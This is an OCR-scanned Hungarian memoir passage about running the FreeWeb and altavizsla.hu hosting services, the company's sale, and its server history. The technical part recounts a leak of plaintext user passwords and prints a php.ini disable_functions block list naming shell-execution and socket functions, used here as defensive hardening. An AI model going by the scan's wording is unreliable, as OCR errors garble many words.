altavizsla Bt-t és ennek segitségével leregisztraltak az Origo el6l az altavizsla.hu domain nevet.

Az oldalon évekig csak egy Osszecsapott html lap volt egy keresével meg par reklammal.
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Valami ilyesmi volt az altavizsla miel6tt atvettiik

Széval a nevet megszerezték, de nem kezdtek vele igazan semmit. A név torténetesen a tobbségi
tulajdonos befektetdnké volt, igy egy cserebere deal kapcsan a név az SWI birtokaba keriilt.
Természetesen csak azért nem akartuk megszerezni, hogy ezt kdvetéen mi ne csindljunk vele semmit. Az
1dok folyaman egyre konkrétabb elképzelés korvonalazodott a domain hasznositaséval kapcsolatban.

A cég hidba miikodott egyre hatékonyabban, hidba volt egyre magasabb a nyeresége ¢és a bevétele, a
szolgaltatasok nem voltak egységesek. Volt egy kiilon FreeWeb, egy kiilon Tér, egy kiilon adsl, egy kiilon
dialup, egy kiilon kereskedelmi webhosting. Az emberek tobbsége ezek kozott semmi kapcesolatot nem
latott, fogalmuk sem volt arr6l, hogy mindez egy céghez kapcsolddik. Eljott az ideje, hogy ezt
megvaltoztassuk és a felhaszndlok, latogatok fejében is tudatosodjon ez az egység. Ennek az
egységesitésnek a tovabbi oka, hogy a FreeWeb név a hirdetdk fejében még mindig az erotikus illetve
ki. Kellett tehat egy uj markanév, amit ismernek, elfogadnak és annak hasznalataval hatékonyabban lehet
a hirdetési feliileteket is értékesiteni.

A megvalositast két 1épcsdben terveztiik megvalositani. Az elsd egy 6nalld portal oldal 1étrehozésa az
altavizsla név alatt, mely 6nmagaban is vonzo a latogatok szdmara illetve egy egységes fejléc elem
hozzaadasa a FreeWebhez és a Tar-hoz is, melynek segitségével atjarhatova tettiik a latogatok szamara
oldalainkat, egyben tudatositottuk veliik, hogy azok az oldalak egy kézben vannak. Ezen feliil a fejléc
,tabbar”-ba illesztettliink egy keresé mezot is, mely természetesen az altavizsla keresdjét hasznalta.
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[Z] 5GByte tarhely a Freeweben!

2005.12.02

[ nev: I
Azon felhaszndldink tdrhelyét, akik levelezésre az  altavizsla.hu
noveltiik! Természetesen a tdrhely méret novelése barki szamdra
elérhetd, aki az adstlapidn a "kapcsolattarts e-mail cim’ helyén [DNENSISReHemIIT]
altavizsla hu-s e-mail cimet ad rmeg és azt aktivan haszndlia is. A
"kaposolattartd e-mail oim" maodositdsdhoz a FreeWeb hu féoldalan a
jobb felsd sarokban talalhaté belépss dobuzan keresztil kel belépni 25

az "Adatmodositds" mentipontban lehet megadni az 0j, altavizsla.hu-s _

e-mail cimet. Ha még nem rendelkezel ilyennel és szeretngl te is -
5Gbyte tarhelyet Freewebes oldaladnak, a http:/ fwww i hy SEHINDEISs E=——
oldalon tudsz regisztraini e-mail szolgaltatdsunkra.
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A tarhely novelése a fenti feltételek teljesilése esetén automatikusan
Iétrejtn, nem szikséges az igényt felénk e-mailben jelezni.

[Z]Rendelj egyedi naptarat 2005.11.30

Ha nem szereted a Hipermarketek kardesonyi Griletét és szeretnél
valodi sgyedi ajandékokkal (fénykeépes fali,~ disenaptdr, egérpad,
Teddy maci, mdgikus bogre, kispdrnahuzat, péld) kedveskedni
barstaidnak,  csalddtagjsidnak! Az egyszerd s gyors
megrendeléshez kattints idel
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Gyakran Ismételt Kérdések Breg
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A freeweb.hu utols6 arculata mar tabbar-ral kiegészitve



Mi is az altavizsla.hu?

Alapjaban egy e-mail szolgaltatas, mely a webes ingyen mail szolgaltatok konkurencidjanak lett szanva.
Mivel a konkurens piac nagyon erds, olyan valamit kellett kitaldlnunk, amitdl leesik a felhasznalok alla,
valami nagyon iitéset. Mivel magunkban sem voltunk igazdn biztosak és nem szerettiink volna egy
hosszan elnyul6 fejlesztés utdn egy nagy bukast megélni, kerestiink olyan kész e-mail alkalmazast, ami
megfelel az igényeinknek. A www.atmail.nl holland oldalon talaltunk is egy nagyon szimpatikus webmail
rendszert, melynek legfobb erdssége a webes megjelenés volt. Megprobalta leutdnozni a kliens alap
levelezok megjelenitd feliiletét, melynek kdszonhetden a latogatok kiilonods tanulasi folyamat nélkiil is
azonnal hasznalni tudjak. Sajnos a program megvasarlasa utan deriilt ki, hogy akik készitették, nem alltak
a helyzet magaslatan, igy a fél rendszert at kellett irni ahhoz, hogy normalisan miikddjon. Ez kisebb fajta
lazadést eredményezett a programozok kdzott €s azota is a mit hogyan ne csinaljunk mintapéldaja. A kod
rendberakasa utan kiegészitettik még par olyan aprosaggal, amirdl Ggy gondoltuk, tetszeni fog a
felhasznaloknak. Olyanok, mint a nagy méretli csatolds kiildése, valaszthatdé domain név. Ezenfeliil
atalakitottuk annyira, hogy a sajat levelezd szolgaltatasunk mellett akar egy konkurens cég tligyfeleit is ki
tudja szolgalni. Ez utobbi mddositas a jovObeni stratégiank egyik alapja lett. Sokkal kdnnyebb ugyanis
meggy0zni egy mikodd szolgaltatot, hogy kap egy szép csicsas rendszert, nem kell neki foglalkozni a
szerverekkel, nem kell neki fejlesztenie, nem kell rendszergazdat tartani és semmi olyan koltsége sincs,
ami egy sajat rendszer lizemeltetésénél felmeriil, cserébe az tigyfeleit, felhasznaldit adja at nekiink, a mi
rendszerlink majd kezeli és az altaluk kiildott levelekbe fele-fele ardnyban tesziink bele reklamiizeneteket.
Ezzel gyakorlatilag a reklam feliileteinek feléért megkapta mindazt, amiért eddig sulyos 10 illetve 100
ezreket fizetett havonta, mi pedig sokkal dinamikusabban bdviilink, mint ha azt sajat er6bdl, a
szolgéaltatas reklamozasaval tennénk. Az elképzelés miikodoképességét mi sem tdmasztja jobban ald, mint
a legnagyobb ilyen iigyfél, a Mailbox.hu, aki maga is technoldgia szolgaltatd és tobb mas cégnek ilyen
modon biztositja a levelezd rendszert. Erdekes volt, amikor a mailbox.hu atallt az altavizsla rendszerére.

Nos, ha mar ide jar levelezni a felhasznald, nem baj, ha valami mast is talal az oldalon, ami miatt esetleg
akkor is ellatogat, ha épp nem akarja a leveleit olvasni. Hosszabb-rovidebb e-mail valtdsok segitségével
sikeriilt megéllapodni par céggel, hogy ingyen biztositson tartalmat szamunkra. {gy lett TV miisor, friss
hirek, bulvar top10, mozi és szinhaz miisor kereso, igy lett sajat keresdje az oldalnak és a hiroldalak RSS-
e segitségével igy kerlilnek 3 {6 témacsoportba folyamatosan friss hirek a lapra.


http://www.atmail.nl/

Es ilyen lett az altavizsla atalakits utin

Ez jelentette az altavizsla network létrehozasanak elsd 1épcsdjét. Ardnylag rovid 1d6 alatt aranylag kevés
emberi eréforras bevonasaval egy elég latvanyos valtozast sikeriilt véghezvinni az oldal tartalmat illetden.
A folytatast az oldallal elért eredményektdl tettiik fliggdvé, de ez a nézettség nem tul biztatod alakulasatol
fiiggetlentiil a szolgaltatads eladasa miatt nem keriilt teritékre. Terveink kozott a Tar, FreeWeb és egyéb
mas szolgaltatasaink lehetd legteljesebb integracidja szerepelt, melynek célja az lett volna, hogy ha egy
internetezének eszébe jut weblapot késziteni vagy fényképeket eldhivni de akar az esti mozimiisort
megnézni, gondolkodas nélkiil az altavizsla név ugorjon be neki. Azt szerettiik volna elérni, hogy az
internetezés soran leggyakrabban végzett folyamatokat egy oldalra integraljuk és egy olyan gytijtéhelyet
hozzunk 1étre, mely az akkori piacvezetd portalokkal is képes felvenni a versenyt.



~ Domain regisztricié és minéségi webtdrhely egy helyen: http://www.swi.hu
Uj elképzelések a FreeWeb tovabbfejlesztésében

Az ingyenes tarhely szolgaltatoi piac eléggé leiilt €s semerre nem akart mozdulni. Ez latszédott az uj
szolgaltatasok megjelenésének hidnyaban, de a latogatdszam stagndldsdban is. Ahhoz, hogy errdl a
pontrél ki tudjunk mozdulni, valami olyan nagy otletre volt sziikség, mint korabban az ingyen tarhelyhez
regisztralhatdo domain név. Tovabbi lehetdség a nézettség ndvelésre a célkozonség kibdvitése. Az aktudlis
szabalyok, miikodési menet, informécios oldalak és tigy az egész rendszer felépitése a rutinos internet
felhasznalokra lett kihegyezve, akik tudjak mi az az FTP, esetleg php-hoz is értenek annyira, hogy
segitség nélkiil fel tudnak telepiteni egy ingyenesen letdlthetd alkalmazast. A kezddk igen nagy tdbora
illetve azok, akik valamely szabdlyzatunkba iitkoznek bele johiszemiien, példaul zenekarok, amatdr
filmesek, stb. azok a felhasznaldi korbdl teljes mértékben ki lettek rekesztve. Ezt egyébként az oldal
latogatoirol késziilt kutatisok is aldtdmasztottdk. Erdekességképpen a konyv fiiggelék részében
megtalalhaté egy 2000-ben €s egy 2006-ban késziilt felmérés is. Igen érdekes Gsszevetni a két kutatést,
noha nem ugyanaz a cég végezte a felmérést, mégis megtaldlhatok benne azon adatok, melyek erre
lehetdséget biztositanak. Jol lathatdo a 2006-os kutatasban, hogy a FreeWeb tabora megmaradt az, ami
kezdetek kezdete ota is célkdzonség volt, mégpedig a gyakorlott internetezék. A vildghalohoz nemrég
csatlakozott réteg alig 1%-a hasznalja csupan a szolgaltatast.

A szolgéltatdst még nem hasznaldk koziil a szabalyokba 1itk6zok okoztak nagyobb fejfajast, mivel olyan
megoldast kellett kidolgozni, mely a szabalyok eredeti céljat megtartva biztosit lehetdséget azoknak, akik
legalisan szeretnének oldalt késziteni, de az altaluk elhelyezni kivant allomanyt eddig nem tudtak
feltolteni tal nagy mérete miatt. Ha egyszeriien megemeljiik a feltoltési limitet akkor egyértelmi, hogy a
szerver pillanatok alatt tele lesz illegalis zenékkel és filmekkel. A hatdrvonal a legélis és illegalis
hasznalat k6zott az oldal adatforgalmaban jelentkezik leginkabb, igy itt foghaté meg legkdnnyebben. Az
Otletben egy valasztasi lehet6ség szerepelt, hogy a felhasznald korlatlan adatforgalmat szeretne
korlatozott  allomanymérettel, vagy korlatlan 4allomédnyméretet korlatozott adatforgalommal.
Természetesen ez is kijatszhatd tobb regisztracidval, de az mar nehézséget okoz és megfeleld tarhely
aktivacios eljarasokkal minimalizalhatd. Ennek megvaldsitasdhoz a felhaszndlok adatforgalom figyelése,
szamlalasa el is késziilt. Gyakorlatilag valds idoben tudtuk, mely felhasznal6 mennyi adatot forgalmazott
sajat illetve idegen refererrel (ez utobbi akkor keletkezik, ha a tarhelyre feltoltott tartalom egy maésik
weboldalon van belinkelve €s ott jelenik meg) szdveges illetve egyéb adattartalom bontasban. Ennek
segitségével a tarhelyeket nem rendeltetésszerlien hasznéalokat igen konnyen ki tudtuk sziirni, de egyeldre
manualisan. A technikai lehetdség ennek a fajta szabalymoddositdsnak mar tobb éve rendelkezésre all.
Kezdetekben minden egyes allomény lekérést napldzott a szerver, am amikor ez a naplédllomény elérte
azt a méretet, amikor egy napi adag is nagyobb, mint a szerveren akkor hasznalt ext2 filerendszer altal
megengedett legnagyobb (2GByte) akkor ezt kikapcsoltuk. Hosszu ideig semmi informacionk nem volt a
latogatokrol, mig nem egy, a legfobb konkurencidval torténd beszélgetés soran felmeriilt annak a
lehetdsége, hogy egy kiilon naplozd szerver beiktatdsdval nemcsak rogziteni lehet ezen adatokat, de
lehetéséget biztosit a folyamatos elemzésre is. Ok akkor mar hasznaltik is ezt az eljarast az illegalis
tarhely felhaszndldsok kisziirése érdekében, valamint nekik is felmeriilt mint 6tlet a forgalmi limites
tarhely szolgaltatas kérdése. Ahogy mi is, a technologiat 6k is kifejlesztették, de éles hasznalatba 6k sem
raktak be, késobb pedig Ok is eladtak a szolgaltatast, igy valoszinii, hogy mar nem is fogjak.

A masik ilyen el nem ért célcsoport a kezdd internetezd. Nekik eldre telepitett portal rendszerekkel
szerettiik volna kedveskedni, mivel a FreeWeb egyedi biztonsagi beéllitdsai miatt az ingyenesen letdlthetd
portal rendszerek mddositas nélkiil nem voltak feltelepithetok a szerverre. A fejlesztok 3-4 ismert portalt
vettek kezelésbe ¢s alakitottdk at ugy, hogy az FreeWebes kornyezetben is miikddésképes legyen. Ha
megvaldsult volna, ezeket egy kattintdssal megrendelhette volna a felhasznalo és automatikusan felkertilt
volna a tarhelyére a rendszer. Neki mar csak a kivalasztott portdl webes adminisztracids rendszerében
kellett volna Osszekattintgatnia a weblapjat. Nagy elonye az ilyen ingyenes rendszereknek, hogy nagyon
sokan hasznaljak Oket, igy rengeteg forumon és weblapon taldl segitséget a kezdd felhaszndlo, ha mégis
elakadna. Nekiink elegend? lett volna ezen oldalakra mutaté linkeket elhelyezni a segitség oldalon, igy a
felhasznalokkal torténd kommunikacié sem a mi feladatunk lett volna.



Tekintettel arra, hogy az ilyen ingyenes rendszereket nem igazan optimalizaljak terhelés szempontbol, igy
varhat6 lett volna, hogy a nézettebb oldalak belelitkoznek az adatbazis szerver védelmi limitjébe (50 000
lekérdezés / 6ra). Ez egybdl kindlja az uj bevételi lehetdséget, az adatbazis lekérdezés szam ndvelést, de a
fentiekben leirt méret / forgalom limit kozotti valasztast egy eldfizetéses megoldassal is ki lehet valtani,
amikor se méret, se forgalom limit nincs. Ez utobbi esetben nem fenyeget az illegélis felhasznalas, mivel
a felhasznaldval irasos szerz0dés jon létre, azok adatai ismertek.

Szintén nagyon fontos fejlesztés lett volna a cég életében, ami szintén nem késziilt el, az egy egységes
igyviteli rendszer. A kis cégek ugyanis csupan addig tudnak hatékonyan dolgozni, amig a havi szintli
adminisztracids feladataik egy kritikus érték folé nem emelkedik. Mi ezt a kritikus értéken nemcsak
elértiik hanem egy kicsit tul is Iéptiik. Csodalom a kollegandim kitartasat és hatékony munkavégzését,
hogy ilyen terhelés mellett is kival6 munkat tudtak végezni és a havi tobb ezer szamlat egyedileg ki
tudtak allitani, postdzni és behajtani. Ugyanis az eladas pillanataig nem késziilt el az a rendszer, ami egy
nagy piros gomb lenyomdasdra az 0sszes szolgaltatds Osszes szamldjat kinyomtatta volna a nyomtatora,
helyette kiilonféle excel tablak és egymastol fiiggetlen belsé adminisztracios rendszerekbdl Gsszeszedve a
sziikséges adatokat egyenként csindltdk meg az Osszes szadmlat mikdzben jottek az ligyfelek, regisztraltak
a domain neveket, telefonaltak, stb. Mindezt dsszesen 2 ember csinalta. Azt, hogy meddig ment volna
még ez igy tovabb, nem tudom, de sejtem, hogy mar nem sokaig. Ez a probléma most egy darabig jegelve
lett, mivel az eladéast kdvetden a havi szamlamennyiségiink jelentds mértékben csokkent, de varhatoan
hamarosan ismét beleiitkdziink ebbe a korlatba. Amiért ez igazan problémas az az, hogy a szolgaltato
cégekre nem igazan gondolnak a kiilonféle szamlazo, nyilvantartd programokat készitd cégek. A legtobb
alkalmazés, amit megvizsgaltunk termékek értékesitésére volt kifejlesztve. Megérkezik a termék,
raktarozzak, van bekeriilési ara, van eladasi ara akar viszonteladdi arai is vannak. Nem tud azonban
lekezelni egyik sem egy ADSL akcidt, ahol hol van egyszeri dij, hol nincs, a havi dij lehet, hogy az els6 3
hénapban 0 Ft aztan valamennyi, de ez csak az ujonnan megrendelt szolgaltatasokra érvényes, a meglévo
tigyfelekre nem, stb. Szamtalan olyan élethelyzet van a szolgaltatoi ligymenetben, amit ezek az altalunk
megvizsgalt szoftverek nem tudnak lekezelni. fgy az egyetlen lehetdségiink egy egyedi rendszer
fejlesztése vagy fejlesztetése. Ez viszont jelentds koltségekkel jar, de egyszer elkeriilhetetlen lesz, ha nem
akarunk belebukni. Természetesen ennek a rendszernek kell onnantdl kezelnie az egyes termékek /
szolgaltatasok életutjat is, azaz ha az ligyfél megrendel egy szolgaltatast az interneten keresztiil akkor azt
emberi beavatkozas nélkiil kell, hogy megkapja. Automatikusan kell 1étrehozni mondjuk egy webes
tarhelyet, be kell regisztrdlni egy domain nevet, stb. Emberi beavatkozas legfeljebb a sziikséges
dokumentumok ellenérzésénél lehetséges. Ha ez megvaldsul, az egyes szolgaltatasok onkoltségi része
drasztikusan csokkenni fog, ezaltal a végfelhasznaloi drakat is csokkenteni lehet, melynek hatdsdra az
igyfelek szama névekedni fog.



 Domain regisztrdcié és minéségi webtdrhely egy helyen: http://www.swi.hu
A konfliktusok kezdete

A konfliktusok akkor kezdtek eldjonni, amikor az SWI forgalma egyre nagyobb lett és latvanyos
eredményeket értliink el minden tekintetben, a készpénz allomanyunk viszont sosem ndvekedett jelentds
mértékben. Ennek oka az volt, hogy igyekeztem minden egyes megszerzett forintot visszaforgatni a
cégbe, 1j szervereket vasarolni, meglévoket bdviteni, stb. Ezek mellett a ,,befektetdém” pedig azt latta,
hogy egy teli szekrény kiilonféle innivald varja minden nap a dolgozdkat, év végén wellness szalloba
ment pihenni az egész csapat, és mindenki viddman és jokedviien jar be dolgozni. Folyamatosan arra
gyanakodtak, hogy valamilyen médon meglopom a céget ¢€s ezzel ugyebar oket is. Ez leginkabb azért
bantott, mert a cég kezdete 6ta megtehettem volna, féképp az smsweb-es iddszak alatt, én mégis inkabb
visszaforgattam a cégbe és egyre nagyobbra és nagyobbra hizlaltam azt. Ez a fobia viszont kezdett egyre
jobban eluralkodni rajtuk. Eldszor csak negyedéves beszdmolokat kértek, majd kineveztek egy embert,
hogy O lesz a kapcsolattartd a leanyvallalatokkal (szam szerint valéjaban az 1 db SWI-vel), Majd amikor
az illetd nem produkalta az altaluk vart eredményt, felvettek egy triembert, akinek szintugy az elébbi volt
a feladata amellett, hogy az ,,anyacégnél” vezetd beosztast latott el, melynek hatdsara a beosztottjainak
jelentds része beadta a felmondasat. Az évek soran O volt az egyetlen olyan ember, akivel személyesen
targyaltam és a beszélgetésiink ugy végzodott, hogy kizavartam a szobambol. Szép lassan, bar mar egy
kicsit késon, mivel sok olyan dolgoz6 ment el hatdséra, akiért szerintem kar volt, belatta a cég, hogy az
emberiik nem volt megfeleld valasztds és megvaltak téle. Utddja egy holgy volt, akit tudtom és
beleegyezésem nélkiil alkalmaztak az SWI-nél mint kereskedelmi és marketing igazgat6. Azzal viszont
sem itt, sem majd késobb nem szdmoltak, hogy az itt dolgoz6é maréknyi kis csapat egyfajta csaladot alkot,
ahova nem lehet csak ugy meghivd nélkiil bejutni. A holgy teljes ittléte alatt globalis kozutalatnak
orvendett és ezt valosziniileg észre is vette. Hosszas huzavona utan emberi €s szakmai okokra hivatkozva
sikeriilt egy olyan személyre lecserélnem az illetdt, akit én jeldltem ki az ,,anyacég” egyik emberének
személyében. Szerencsémre a valasztdsom beigazolddott, az ember elég hamar asszimilalodott és
csakhamar nem a befektetd hanem a mi érdekeinket kezdte védeni igen hatékonyan. Ennek kdvetkeztében
sz¢ép lassan O is elvesztette a volt munkaltatdja bizalmat, de nekem viszont egy j6 munkatarssal tobb lett.
Az O segitségével alakitottuk ki az SWI teljes késSbbi stratégiajat, az uj szolgaltatasokat, O segitette
hozza a céget jelentds mennyiségii reklam bevételhez, szoval nem bantam meg, tobbek kozott O is része a
jelenlegi csapatnak.

2005 vége felé elég egyértelmilen latszodott, hogy az SWI mennyivel hatékonyabban végez egyes
folyamatokat és ezzel aranyaiban joval nagyobb profitot termel. Ez feltehetéen szemet szirt nekik és
megprobaltdk megszerezni az egészet sajatjuknak. Természetesen a legelsd lépésiik az volt, hogy
megprobaltak eltavolitani engem €s megszerezni az alkalmazottakat. Itt ismét abba a hibaba estek, hogy
egy Osszeszokott, j6 hangulati csapatot nem konnyii megbontani olyan cég ajanlatdval, ahonnan nap mint
nap mennek el az emberek.



A fejlesztések elkésziiltek, de mar senki se fogja latni.

2005 év végén amikor a 2006-os iizleti tervet irtuk, ezek a szolgéltatasok mar szerepeltek a tervben, mivel
a tervezett fejlesztések par hét alatt véglegesithetdk lettek volna és a felhasznalok részére kdzzétehetok.
Sajnos a tobbségi tulajdonos jovore vonatkozé elképzelései nem teljesen fedték a mi elképzeléseinket, igy
az ellentétek egyre kezdtek kiélezddni és valami kiutat mindenképp talalni kellett. Az elképzelésiikben az
SWI szinte megsziinne 1étezni, csupan egy Online média értékesitd céggé valna, akik kizarolag és csakis a
reklam bevételekre 0sszpontosit, minden egyebet az ,,anyacég” csindlna, az SWI legfeljebb viszont eladna
ezen termékeket. Valoszintileg mar elfelejtették a 2000 — 2001 kortil torténteket és nem gondoltak végig,
hogy akkor pont azok a cégek tiintek el a siillyesztdben, akik ezt csinaltak. Epp azokbol tanulva épitettem
fel ugy a céget, hogy lehetdleg tobb 1abon alljon.

Mivel nekik kizarélag az Online média iizletdg kellett, igy hosszas targyaldsok kezdddtek ezen
szolgaltatasok kivasarlasarol, melyek 2006 marciusaban zdrultak le azzal, hogy éatkeriil a teljes Tar,
FreeWeb, Altavizsla illetve ADSL és szerver hoszting tizletdg. Nalunk maradt a teljes kereskedelmi
webtarhely, az 0sszes viszonteladés domain (a szerver hosztingosok is ebbe a korbe tartoztak) és 1-2
weblap. Hogy a kiilonvalas utdn az ujrakezdés ne legyen olyan nehéz, az atadott Online feliiletekbdl is
kértem részesedést 2007 év végéig és a sajat szerverek elhelyezésére is egy igen kedvezd alkut sikeriilt
kotni. Az igy megmaradt szolgéltatasokbol, altalunk értékesitett reklamokbol €s a megkotott lizemeltetési
szerz6désekbdl sikeriilt annyi bevételre szert tenni, ami lehetdvé tette, hogy egy kisebb iroddban, 2 6
kivételével a teljes csapat tovabbra is egyiitt maradhasson és egyiitt kezdhessen neki egy Uj cég
felépitésének.



~ Domain regisztracié és mindségi webtdrhely egy helyen: hitp://www.swiihu
A technologia

Sokan ledobbentek, amikor meglattak a FreeWeb els6 szerverét, amivel kivivta a konkurens szolgaltatok
kozotti elséséget. Sokan valami hatalmas monstrumot képzeltek el, amolyan szerver farmot. Helyette ott
arvalkodott a salg6é polcon 1db AMD K6-2 400-as processzorral, 512Mbyte memoriaval és 7.6 Gbyte
IDE winchesterrel egy kis asztali PC. Ma mar a kis noteszgépekben, pda-kban van ilyen erdsségii
processzor, és a fényképezokbe is gyakran tobb a hattértar. Pedig ezzel a szerverrel kb. napi 10,000
latogatot ki tudtunk szolgalni. Erdekes modon ekkor még nem is nagyon hasznaltunk ,,energiatakarékos”
megoldasokat. A szerveren minden egyes felhasznaldé egy 6nalld linux user volt kiilon bejegyzéssel a
/etc/passwd, /etc/shadow allomanyokban, 6ndllé home konyvtarral, sajat mail kdnyvtarral. A reklam csik
elhelyezését pedig tigy oldottuk meg, hogy a felhasznald létrehozasakor (adduser) a rendszer altal
hasznalt skelton tartalmazott egy .web konyvtarat, amiben egy default.html nevili dllomény volt. Mivel a
alloményt modositani. Ez a természetesen mar egy javitott megoldéas, mivel minden kezdet nehéz alapon
els6 probalkozasunk a default.html allomany kozvetlen a home kdnyvtarba vald helyezése volt szintén
root jogokkal, amit a felhaszndl6 a sajat jogaival nem tudott modositani, de térdlni viszont tudta. Ez is
csak ugy dertlt ki, hogy reklamaltak felhasznaldk, hogy az XY oldalnak miért nincs rekldmcsikja. Ez a
technologia mindaddig miikodott is, amig az adduser parancs, ami a rendszer user-t 1étrehozta nem
kezdett el perceket tolteni azzal, hogy a jelsz6 allomanyba beirja az adott felhasznaldt (ez par tizezres
felhasznaloszam mellett kovetkezett be). Gyors megoldasképpen a jelszo készitd részét irtuk at az adduser
parancsnak, mely innentdl nem vizsgalta végig, hogy van-e mar olyan felhasznal6éi név, mi az utoljara
kiosztott felhaszndloi ID, hanem kiolvasta a legutolso sort, az ahhoz tartozo ID+1-el pedig hozzafiizte a
listdhoz az 1j regisztraciot. Ennek tovabbfejlesztése volt, hogy a felhasznalék azonositasat mind FTP,
mind mail, mind pedig webes adminisztracids bejelentkezéskor adatbazisbol oldottuk meg, mivel
mindezidaig egy szoveges allomanyba keriilt taroldsra a felhasznalé minden adata, beleértve a jelszavat is
kédolatlan forméban.

Miutan attértliink az adatbazis alapi azonositasra, ahol az adatbazisban mar titkositott formaban kertiltek
elmentésre a jelszavak, a /etc/shadow allomany teljes mértékben értelmét vesztette, igy oda minden
alkalommal valami kamu jelszot irtunk be.

A terhelés novekedtével két problémdba is belelitkoztiink. Egyik az apache webszerverbe épitett 512 db
maximalis processz szam elérése volt, majd kicsit késobb a linux kernelben talalhaté 1024-es processz
szam korlat. Ez a két szdm a gyakorlatban azt jelenti, hogy egyszerre legfeljebb 512 parhuzamos web
kérést tud kiszolgalni a gép, amin egyszerre legfeljebb 1024 program fut. Sajnos hidba kérdezdskodtiink
sz¢les ismeretségi korben, hidba probaltunk tanacsot kérni igen komoly szaktekintélyektdl, mit lehet tenni
ilyen esetben, csak széttett karral néztek rank, amikor feltettiik a kérdést. A megoldas mindkét esetben a
program illetve linux kernel forraskddjaba valé belenyulés és a megfeleld rész atirasa volt. Ez volt az elsd
alkalom, hogy a szolgaltatast kiszolgal6 rendszert is modositanunk kellett.

A kovetkezd evolucids 1épés az volt, amikor a rendszer felhasznaldk tarolasa nem a passwd / shadow
allomanyban tortént, hanem szintén adatbazisban. Sajnos, mivel kezdetek kezdetén lehetdséget
biztositottunk cgi (szerver oldali programok) futtatasara, ami nem a webszerver, hanem a felhasznélo
sajat jogaival futott, a rendszer user-ekre sziikségilink maradt mindvégig. Szintén egy fejlédési 1épcsd volt,
amikor a biztonsag fokozéasa érdekében megoldottuk, hogy ez igy legyen, azaz a felhasznal6i programok
tényleg a felhasznalo €és ne a webszerver jogaival fussanak.



Mivel azt az iranyelvet, hogy ami mikodik, ahhoz nem nyulunk elég erdsen betartottuk, a fenti
modositasnak is elég komoly kivaltd oka volt. Ez az ok nem mas, mint az, hogy egyes felhasznaldok
rajottek, hogy php / cgi programok segitségével tetszélegesen be tudjak barangolni a szervert és szabadon
olvasgattak a kiilonféle config dllomanyokat, melyekbe helyenként még adatbdzis és egyéb jelszavak is
voltak. A legnagyobb gond az volt, amikor egy kedves felhasznald megtalélta azt a szoveges allomanyt,
amit a par évvel kordbbi atallaskor elmentettiink és persze meg is felejtkeztiink rola. Ez a szdveges
allomany nem volt mas, mint a felhasznalok adatainak tarolasara szolgalo ,,adatbazis” amit a régi rendszer
hasznalt. Sajnos ez a kedves felhasznaldé nem elégedett meg azzal, hogy megszerezte ezt az allomanyt,
hanem kedvesen fel is helyezte egy weboldalra, ahonnan ki tudja hany ember toltotte le és ki tudja, hany
jelszd volt ami még miikodott és a tulajdonosa az eltelt 1-2 év alatt nem modositotta azt.

Na igen, a népszerliségnek ara van. Folyamatos versenyfutds volt az iddvel és a vicces kedvil
internetezokkel, ki mikor taldl olyan rést a rendszeren, amin keresztiil tényleg kart tud benne tenni.
Szerencsére a fenti eset inkdbb csak kellemetlenséget okozott, a lehetdségeket viszont szerettiik volna
minimalizalni.

Milyen megoldasokat alkalmaztunk?

Egyrészt az egyik probléma ugye az volt, hogy a felhasznal6i programok szabadon garazdalkodtak (igaz,
csak olvasasi joggal) a szerveren. Ennek megsziintetése érdekében tobb 1épést is tettiink. Az egyik az
ugynevezett suexec modul bedllitdsa, ami a cgi szerver oldali programokat webszerver jogrol atallitja a
felhasznalo sajat jogaira. A masik webes bedllitds a php programok openbasedir paraméterének megadésa
volt . —re, majd késébb a webszerver modul altal a felhasznal6é fokonyvtarara, melynek hatdsara a php
programok csak azokat az allomédnyokat tudtdk megnyitni, melyek abban a kdnyvtarban voltak, ahonnan a
php program elindult (illetve késobb a teljes konyvtarat elérte, de mas felhasznalok adataihoz nem fért
hozzd). Ez a két 1épés még nem volt elegendd, mivel a cgi programok még mindig tudtak barangolni a
szerveren, igy a linux filerendszer szintli jogosultsédgaival is elkezdtiink jatszani. Mivel a felhaszndlok a
freeweb csoportban voltak, a webszerver pedig a www-data nevl felhasznald jogaival futott, igy az 6sszes
felhasznaloi konyvtarrol elvettiink minden jogot a freeweb csoporttodl és megadtuk az olvasas jogat az
,»egyeb” csoportnak. Ennek hatdsara ha egy felhasznaloi konyvtarba egy masik felhasznalé jogaival futd
cgi program szeretett volna benézni, akkor mivel arra a konyvtarra csak a masik felhasznalonak ¢€s az
,»egyeb” csoportnak volt joga, nem fért hozza. Ha a webszerver kereste fel a konyvtarat (egy internetezd
meglatogatta az adott webcimet) akkor a www-data mint ,,egyéb” minden gond nélkiil tudta olvasni az
oda elhelyezett tartalmat.

A rendszer allomanyokrol a fenti leirdssal azonos modon vettiik el a cgi programok jogait. Egyesével
végignéztiik a /bin, /sbin és hasonld konyvtarakat, ahol olyan programok lehettek, melyek segitségével
nem kivant miiveleteket tudna végrehajtani a felhasznalo €s atirtuk ezen programok jogosultsagait.

Php programok esetében pedig a disabled functions nevii konfiguracids beallitds volt segitségilinkre,
melyben egy kb. 8 soros lista volt a nemkivanatos parancsokkal.

disable functions = system, exec, passthru, kill, virtual, http connect, chmod, ftp connect, connect,
mkdir, link, symlink, popen, sleep, posix ctermid, posix getcwd, posix getegid, posix geteuid,
posix_getgid, posix_getgrgid, posix getgrnam, posix getgroups, posix getlogin, posix getpgid,
posix_getpgrp, posix_getpid, posix_getppid, posix getpwnam, posix_ getpwuid, posix_getrlimit,
posix_getsid, posix getuid, posix isatty, posix kill, posix mkfifo, posix setegid, posix seteuid,
posix_setgid, posix_setpgid, posix_setsid, posix setuid, posix_times, posix_ttyname, posix uname,
openlog, shell exec, fsockopen, pfsockopen, phpinfo

A php.ini disabled_functions sora



A védelmet tovabbi tlizfal szabalyok is erdsitették, melyek lehetetlenné tették a szerverrdl kifele mend
kapcsolatok 1étesitését. Ezen védelmi mechanizmusok egyiittesen lélegzetvételnyi idét biztositottak
szamunkra az eljovendd idokben.

Természetesen mondanom sem kell, hogy a fenti 1épések jelentds részét egyhuzamban csinaltuk meg,
nehogy valaki kihasznalja a publikalt problémat a publikédlonal komolyabb eredményekkel. Az ilyen 2-3
napos nonstop jatékok sajnos nem voltak ritkak a cég ¢letében.

Ezzel a par atalakitassal id6t nyertiink, ismét nekiallhattunk dolgozni. A programozok folyamatos
onképzésének koszonhetden mar olyan megoldasok is szoba johettek, melyek a kezdetekkor fel sem
meriiltek benniink, mivel azt sem tudtam, hogy lehet olyat. Az egyik és talan legfontosabb ilyen fejlesztés
az 1d6kozben szinte mesterséges intelligenciaval felruhdzott default.cgi lecserélése volt. Szegény
